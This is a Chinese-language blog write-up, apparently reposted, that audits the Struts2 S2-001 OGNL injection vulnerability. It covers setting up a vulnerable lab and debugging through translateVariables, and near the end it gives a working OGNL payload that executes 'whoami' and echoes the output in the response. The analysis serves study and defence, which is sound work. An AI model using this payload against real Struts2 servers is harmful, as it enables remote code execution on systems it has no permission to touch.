栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java安全代码审计-Struts2

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java安全代码审计-Struts2

前言

Java感觉自己学了和没学差不多,第一次尝试去审计java方面的代码,平常课很多,课下抽时间看的,第一次环境搭建,搞了几个小时,然后第二天审计的时候刚开始自己的思路有点问题,导致第二天也并没有实质性的进展,总共耗时3天半,从头到尾的把漏洞走了一遍,学到了很多,也学习到关于Struts2的知识,感觉很不错的一次代码审计体验。如有错误或者没有解释清楚的地方还望大佬们见谅。

环境搭建

安装tomcat环境,不再演示

具体操作步骤

创建一个Maven项目并勾选Create from archetype,并且选择下面的webapp

项目名称自定义

然后一路next就可以了,等待构建完成。接下来我们分别添加并配置Maven的pom.xml,这里我给出我的这个文件的内容




  4.0.0

  org.example
  Struts2
  1.0-SNAPSHOT
  war

  Struts2 Maven Webapp
  
  http://www.example.com

  
    UTF-8
    1.7
    1.7
  

  
    
      junit
      junit
      4.11
      test
    
    
      org.apache.struts
      struts2-core
      2.0.8
    
  

  
    Struts2
    
      
        
          maven-clean-plugin
          3.1.0
        
        
        
          maven-resources-plugin
          3.0.2
        
        
          maven-compiler-plugin
          3.8.0
        
        
          maven-surefire-plugin
          2.22.1
        
        
          maven-war-plugin
          3.2.2
        
        
          maven-install-plugin
          2.5.2
        
        
          maven-deploy-plugin
          2.8.2
        
      
    
    
      
        main/java
        
          **/*.xml
        
      
    
  

然后在idea的右上方

点击之后就可以看到

 然后去配置web.xml




  S2-001 Example
  
    struts2
    org.apache.struts2.dispatcher.FilterDispatcher
  
  
    struts2
    /*
  
  
    index.jsp
  

紧接着在main里面创建一个java的资源文件夹

接着创建package文件com.action,在pakeage里面创建一个LoginAction

文件内容

package demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

在webapp目录下创建&修改两个文件——index.jsp&welcome.jsp

index.jsp

<%--
  Created by IntelliJ IDEA.
  User: ly0n
  Date: 10/26/21
  Time: 8:09 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>



    
    S2-001


S2-001 Demo

link: https://cwiki.apache.org/confluence/display/WW/S2-001

welcome.jsp

<%--
  Created by IntelliJ IDEA.
  User: ly0n
  Date: 10/26/21
  Time: 8:09 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>



    
    S2-001


Hello

然后在main文件夹下创建一个resources文件夹,内部添加一个struts.xml




    
        
            welcome.jsp
            index.jsp
        
    

创建完成build之后的文件目录

然后配置本地tomcat服务

要选择local

配置好之后点击deployment,添加一个artifacts

 创建完毕后保存配置即可。然后运行

基础知识 Struts2 架构&请求处理流程

 

在该图中,一共给出了四种颜色的标识,其对应的意义如下。

  • Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
  • Struts Core(浅蓝色):Struts2的核心部分。
  • Interceptors(浅绿色):Struts2的拦截器。
  • User created(浅黄色):需要开发人员创建的部分。

图中的一些组件的作用如下:

  • FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
  • ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
  • ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
  • ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
  • struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
  • ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
  • Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
  • Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
  • Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
  • Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
  • Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。

了解了这些以后我们可以叙述一下是如何处理的一个http请求的:

  • http请求经过一系列的过滤器后,到达最后一个过滤器FilterDispatcher,并将请求转发给ActionMapper
  • ActionMapper判断这个请求是否需要处理,如果需要处理,FilterDispatcher就会去生成一个ActionProxy
  • 此时http请求就到了ConfigurationManage,也就是struts.xml,调用哪一个action处理
  • 通过运行拦截器1,2,3之后运行action,生成一个Result
  • Result根据页面模板和标签库,生成要响应的内容。
  • 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。

这就是完整的一个http请求的处理过程

OGNL表达式

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式

 OGNL三要素

OGNL具有三要素:表达式(expression)、根对象(root)和上下文对象(context)。

  • 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
  • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
  • 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;

关于OGNL详细了解文章地址

OGNL表达式注入

漏洞简介

通过我们刚刚总结的关于Struts2请求处理的过程,我们可以清楚的知道,经过过滤器FilterDispatcher将请求转发给ActionMapper被Struts2处理,然后生成一个ActionProxy,ActionProxy拿着http请求去ConfigurationManage。我们可以通过具体代码分析一下。

首先通过web.xml可以看到程序首先会调用org.apache.struts2.dispatcher.FilterDispatcher的dofilter。

会首先获得请求的HttpServletRequest,HttpServletResponse,ServletContext,最后调用dispatcher.serviceAction,跟进这个函数

 这个dispatcher.serviceAction通过createContextMap方法将上面获取到的HttpServletRequest,HttpServletResponse,ServletContext写入extraContext中,然后通过ActionProxy实例化一个proxy代理,然后最后去掉用proxy.execute(),此时这个代理拿着http请求去加载拦截器,查看struts.xml

 

找到默认使用的拦截器栈。

这里我们需要注意的拦截器就是ParametersInterceptor。

这个拦截器会将客户端请求数据设置到值栈中也就是设置到valueStack,跟进到ParametersInterceptor

可以看到已经接收到了传入的用户名%{1+1}

处理完用户逻辑后会调用DefaultActionInvocation 的executeResult处理请求结果

单步调试跟进,会调用result.execute进行处理

省略一些跟进步骤,最后跟进到Servletdispatcherresult

继续调试

 可以看到已经调用的三个栈

继续跟进多次调试后发现已经成功运行处结果,漏洞信息说明造成此次漏洞的是doEndTag,所以肯定是去调用了的,再来调试一次,这次一步一步来。这一次是定位在了这个地方

执行完这些后发现已经输出了2

 显然还没有定位到doEndTag,要想end肯定首先要start,在org/apache/struts2/views/jsp/ComponentTagSupport.java找到doStartTag,下断点

定位到doStartTag,此时的调用栈信息

 跟进doEndTag之后进入end方法

然后会到evaluateParams,跟进

 看到已经变成了%{username},再继续跟进

看输出的结果,成功返回

最后百度别的师傅的复现笔记之后发现我有一点没有关注到,下面就跟着师傅的然后一步一步走

S2-001漏洞分析 - twosmi1e - 博客园

跟进findValue

toType为class java.lang.String 然后返回值的时候去调用了TextParseUtil.translateVariables,跟进

可以看到此时传入expression变成了%{username},跟进返回值translateVariables,源码如下

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueevaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

此时的expression是username

进入while循环

通过两个while然后count的值会变为0因为第二个循环的时候到最后一个}满足了else if count就变为了0,跳过了return,进入下一个判断。

然后findValue会返回我们传入的payload

经过下面的判断之后会变为expression的值

 然后再一次循环,此时的expression 就变成了%{1+1}

此次循环就会执行构造的OGNL表达式,可以看到最后执行的结果

原因就在于在translateVariables中,递归解析了表达式,在处理完%{username}后将username的值直接取出,如果我们输出的值依旧满足OGNL表达式就继续在while循环中解析,比如%{1+1},就可以解析执行。

利用poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

构造原理

  • #a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(), 声明容器变量
  • #b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),访问容器变量
  • #f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),获取HttpServletResponse Context用于命令执行回显结果
  • #f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()将命令执行结果写入context。

运行结果

参考链接

OGNL表达式注入漏洞总结 [ Mi1k7ea ]

Struts2 连载系列:S2-001漏洞分析 - 云+社区 - 腾讯云

S2-001漏洞分析 - twosmi1e - 博客园

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/357820.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号